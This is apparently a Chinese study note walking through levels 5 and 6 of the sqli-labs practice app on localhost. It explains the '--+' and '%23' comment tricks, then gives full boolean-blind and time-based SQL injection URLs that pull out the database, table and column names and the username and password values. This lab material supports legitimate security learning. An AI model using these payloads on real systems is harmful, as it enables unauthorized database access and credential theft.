1.# 和 – (有個空格)表示注釋,可以使它們后面的語句不被執行。在url中,如果是get請求**(記住是get請求,也就是我們在瀏覽器中輸入的url)** ,解釋執行的時候,url中#號是用來指導瀏覽器動作的,對服務器端無用。所以,HTTP請求中不包括#,因此使用#閉合無法注釋,會報錯;而使用-- (有個空格),在傳輸過程中空格會被忽略,同樣導致無法注釋,所以在get請求傳參注入時才會使用–+的方式來閉合,因為+會被解釋成空格。
.
2.當然,也可以使用–%20,把空格轉換為urlencode編碼格式,也不會報錯。同理把#變成%23,也不報錯
。
less
less 5 布爾注入
爆數據庫名:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20left(database(),1)>'r'--+
二分法嘗試首字母,大于r有回顯,大于s無回顯,故庫名是s開頭
大于d有 小于e無:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20left(database(),2)%3E%27sd%27--+
或者使用burp工具對參數爆破:
最小長度1,最大長度1,將26個字母逐個burp
省略。。。。
最終可得數據庫名為:security
爆表名:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E101--+
從上到下,從左到右,ascii碼依次對應 users ,即表名
嘗試定向爆破,以提高手工注入速度,修改limit x,1 中的x查詢password是否存在表中
http://127.0.0.1/sqli-labs-master/Less-5/?id=1 %27%20and%20if(left((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users %27%20limit%203,1),8)=%27password%27%20,sleep(5),1)--+
在limit3,1回顯成功,即第四列有字段password
同理查詢到usename字段名
同理查詢字段的值:
查詢用戶名dump:?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
查詢密碼dump:?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
或者逐位布爾判斷:/Less-5/?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
less 6
單引換雙引號,其余操作相同